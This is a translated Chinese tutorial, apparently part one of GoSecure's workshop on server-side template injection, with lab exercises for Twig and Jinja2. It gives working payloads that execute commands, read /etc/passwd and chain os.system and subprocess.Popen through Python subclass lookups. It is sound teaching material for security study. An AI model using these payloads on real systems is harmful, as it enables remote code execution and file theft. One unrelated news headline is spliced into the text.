詳解模板注入漏洞(上)

作者 | 原作者gosecure,翻譯整理shan66

1.簡介
所謂模板注入,又稱服務器端模板注入(SSTI),是2015年出現(xiàn)的一類安全漏洞。James Kettle在2015年黑帽大會上進行的演講,為多個模板引擎的漏洞利用技術奠定了堅實的基礎。要想利用這類安全漏洞,需要對相關的模板庫或相關的語言有一定程度的了解。
首先,本文將對模板注入漏洞進行相應的介紹,幫讀者深入了解各種攻擊模式,以更好地識別潛在的漏洞。然后,我們將考察5種不同的模板引擎,并且這些模版各有特色。其中,對于每個模板引擎,我們都會提供一個練習,其中含有已“暴露”模板引擎的Web應用程序。
所需軟件
在軟件方面,唯一的要求是安裝相應的HTTP攔截代理。
Burp Suite OWASP ZAP
如果你只安裝了Web瀏覽器的話,將無法完成本文描述的實驗。但是,這并不妨礙您繼續(xù)閱讀下面的內容。
運行應用程序
為了完成這個練習,您需要自己運行實驗中的應用程序。并且,為了便于部署,所有應用程序都可以提供docker容器獲取。
下載代碼。
$?git?clone?https://github.com/GoSecure/template-injection-workshop
閱讀構建說明(詳見%application_dir%/README.md),注意,對于不同的應用程序,這一步回有所不同。 使用docker-compose啟動應用程序。
$?docker-compose?up
配置DNS(可選)
為了使相關的鏈接可以正常使用,您可以在本地主機文件(/etc/hosts或C:\Windows/system32\drivers\etc\hosts)中添加如下所示的一行內容:
127.0.0.1template-injection.gosec.co
相關視頻
您可以通過視頻觀看完整的研討會。通過視頻,您可以聆聽所有的講解,并觀看所有練習的演示過程。為此,您可以在新窗口中打開相應的YouTube頁面,來查看各章節(jié)的內容。
2. 模板注入
借助于模板引擎,開發(fā)人員就可以在應用程序中使用靜態(tài)模板文件了。在運行時,模板引擎會用實際值替換模板文件中的相關變量,并將模板轉化為HTML文件發(fā)送給客戶端。這種方法使設計HTML頁面變得更加輕松。
雖然模板是靜態(tài)部署的,但高度可配置服務(SaaS)的出現(xiàn)使得一些模板庫可以直接“暴露”在互聯(lián)網上。這些看似非常有限的模版庫其實比許多開發(fā)者想象的要強大得多。

知乎砍出正義一刀,PDD祭出終極防御:“供應商員工”!輕松化解攻勢!
數(shù)據綁定示例
在模板中,開發(fā)人員需要為動態(tài)值定義靜態(tài)內容和占位符。在運行時,模板將交由引擎處理,以映射模板中的動態(tài)值引用。
Hello?{{firstName}}?{{lastName}}!
簡單模板示例
模板是通常以腳本的形式提供,它的作用不僅僅是簡單的數(shù)據綁定。因為數(shù)據結構可能很復雜(比如列表和嵌套對象),所以,模板通常會提供一些類似于編程的功能。例如,模板引擎可能會允許訪問對象的相關字段,具體如下所示:
Hello?{{user.firstName}}?{{user.lastName}}!
嵌套屬性示例
像上面這樣的嵌套屬性并不會直接交由語言進行處理,相反,而是由引擎來解析占位符內的動態(tài)值user.firstName。引擎將直接調用方法或字段firstname。這種語法通常簡單緊湊,以便于使用。同時,由于這些語法通常非常強大,以至于可以脫離簡單數(shù)據綁定的上下文。
突破常規(guī)思維
為了濫用模板引擎,攻擊者需要充分利用模板引擎所提供的各種功能。
如果引擎允許訪問字段,就可以訪問我們感興趣的內部數(shù)據結構。進一步,這些內部數(shù)據結構可能具有我們想覆蓋的狀態(tài)。因此,它們可能會暴露出強大的類型。
如果引擎允許函數(shù)調用,那么,我們的目標就是讀取文件、執(zhí)行命令或訪問應用程序的內部狀態(tài)的函數(shù)。
實際上,后面的六個練習就是演示如何通過各種技術來達到上述目的的。
3. 識別模板引擎
目前,已經存在大量的模板庫。實際上,我們可以在每種編程語言中找到幾十個庫。在實踐中,如果我們把自己限制在最流行的庫中,當我們知道使用的語言時,我們可以將注意力集中在2到3個潛在的庫上面。
C#(StringTemplate,Sharepoint上動態(tài)使用的ASPX)。
Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)
PHP(Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Python、Jinja2、Tornado、mustache和String Template)。
Go (text/template)
啟發(fā)式方法
與其盲目地測試每一個已知的payload,不如以某種程度的置信度來確認所使用的技術。另外,最終的payload可能需要進行一些調整,以符合特定的運行時環(huán)境的要求。
下面是James Kettles提出的決策樹,可以用來識別所使用的模板。這個決策樹是由簡單的評估組成的,其中的表達式無法適用于每一種技術。由于這些都是非?;镜谋磉_式,所以當一個模版庫的新版本發(fā)布時,這些表達式也不會很快變得過時。當然,相關的方法名和高級語法可能會隨著時間的推移而發(fā)生變化。

圖1 決策樹
4. LAB 1:Twig (PHP)

簡介
Twig可能是PHP最流行的模板庫,它是由Synfony(一個非常流行的PHP框架)的創(chuàng)建者開發(fā)的。在我們的練習中,我們還將用到Craft CMS,它是一個內部使用Twig的內容管理系統(tǒng)。
模板語法基礎知識
Twig語法不僅簡單,而且非常緊湊。下面是幾個基本的變量綁定的例子。
Hello?{{?var?}}
Hello?{{?var|escape?}}
變量綁定示例
參考資料:Twig官方文檔
攻擊面
對于Twig來說,其變量_self暴露了Twig內部的許多API。下面是一個惡意的payload,可以用來攻擊registerUndefinedFilterCallback函數(shù)。在下面的有效載荷中,命令id被執(zhí)行后,將返回當前用戶的id(Linux)。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
命令執(zhí)行示例
練習
為了完成本練習,請連接到相應的Web服務器:http://template-injection.gosec.co:8012/。
它將提供一個非常簡單的表單,其中只有一個字段。

在這個表單中,您可以提交一個簡單的表達式來確認模板是否用于顯示值。下面的表達式將進行減法運算。
{{1338-1}}
上面減法運算的結果,應該顯示為1337
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
執(zhí)行id命令
id命令的結果應該是:
uid=33(www-data)?gid=33(www-data)?groups=33(www-data)
您能訪問服務器上的flag.txt文件嗎?
5. LAB 2:Jinja2(Python)

簡介
Jinja是Python中一個流行的模板引擎,它與Django模板非常相似。不過,與Django模板相比,Jinsa可以輕松地在運行時動態(tài)使用。Django模板被設計為存儲在靜態(tài)文件中的動態(tài)視圖。
模板語法基礎知識
下面是幾個簡單的表達式,用于演示Jinja的基本語法。
//String
{{?message?}}
//Accessing?an?attribute
{{?foo.bar?}}
//Accessing?an?attribute?(alternative)
{{?foo['bar']?}}
基本的變量綁定
參考文獻:Jinja官方文檔
攻擊面
實際上,Python元數(shù)據屬性可以從任何Python對象中讀取。此外,方法調用也不會被過濾。不過,獲取諸如命令執(zhí)行等強大的操作權限可并不簡單。
Jinja漏洞利用的基礎知識
我們可以通過元屬性__class__來訪問類。
{{''.__class__}}
<type?'str'>
從任何類中,我們都可以獲得Method Resolution Order(MRO)對象。MRO對象包含當前類型的類層次結構。
{{''.__class__.__mro__}}
<type?'str'>,?<type?'basestring'>,?<type?'object'>
通過之前找到的類型對象,我們可以列出其所有子類。實際上,這相當于枚舉了當前上下文中加載的所有類。不過,到底有哪些可用的類,這完全取決于應用程序的導入操作。在Jinja2中,導入操作是不容易觸發(fā)的。
{{''.__class__.__mro__[2].__subclasses__()}}
<type?'type'>,?<type?'weakref'>,?<type?'weakcallableproxy'>,?<type?'weakproxy'>,?<type?'int'>,?<type?'basestring'>,?<type?'bytearray'>,?<type?'list'>,?<type?'NoneType'>,?<type?'NotImplementedType'>,?<type?'traceback'>,?<type?'super'>,?<type?'xrange'>,?<type?'dict'>,?<type?'set'>,?<type?'slice'>,?<type?'staticmethod'>,?<type?'complex'>,?<type?'float'>,?<type?'buffer'>,?<type?'long'>,?<type?'frozenset'>,?<type?'property'>,?<type?'memoryview'>,?<type?'tuple'>,?<type?'enumerate'>,?<type?'reversed'>?[...]
我們可以從上面的列表中挑選任何類型,并調用這些類型的方法。對象子類列表中索引40對應的元素是({{”.class.mro[2].subclasses()[40])。我們可以使用該類型來讀取任意文件。
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
//The?previous?extension?is?analog?to
file("/etc/passwd","r").read()
上面的payload僅適用于Python 2.7。
參考資料:
Exploring SSTI in Flask/Jinja2 – Part 2
Cheatsheet – Flask & Jinja2 SSTI
使用subprocess.Popen
在這里,我們需要努力尋找的一個強大類型是subprocess.Popen。
在Python 3.8中,它的索引可能是245。當然,這個索引值會根據加載的模塊的不同而有所變化。
{{[].__class__.__mro__[1].__subclasses__()[396]}}
'subprocess.Popen'>
在Python 2.7中,它的索引可能是245。
{{[].__class__.__mro__[1].__subclasses__()[245]}}
'subprocess.Popen'>
執(zhí)行指令:
{{[].__class__.__mro__[1].__subclasses__()[245]('ls?/',shell=True,stdout=-1).communicate()[0].strip()}}
Os模塊(Python 2.7)
除了上面介紹的類型之外,還有一種類型也有可能被攻擊者所利用。它緩存了所有可用的python模塊,其中,我們可以找到os模塊。
WARNINGS_INSTANCE.__init__.func_globals['linecache'].__dict__.values()[12]
'os'?from?'/usr/lib/python2.7/os.pyc'>
將這個有趣的模式應用于Jinja模板,我們就能得到如下所示的payload。
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id?>?/tmp/cmd')}}
這里有一個two-step的payload:先執(zhí)行一個命令并將命令輸出臨時存儲在temp文件夾中,然后,再使用另一個Jinja表達式來讀取命令輸出。
{{?''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id?>?/tmp/cmd')?}}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read()?}}
這些payload僅適用于Python 2.7。
練習
為了完成這個練習,請連接到Web服務器http://template-injection.gosec.co:8013/。

首先,您必須檢測在模板中放置了哪個HTTP參數(shù)。為此,您可以借助于簡單的算術表達式。
使用以上方法可以充分利用這個漏洞。
您可以訪問服務器上的flag.txt文件了嗎?
小結
在本文中,我們?yōu)樽x者詳細介紹了模版注入漏洞的概念,模版引擎的識別方法,以及兩種模版引擎相關的注入漏洞。在接下來的文章中,我們將繼續(xù)為讀者介紹其他四種模版相關的注入漏洞。
往期推薦

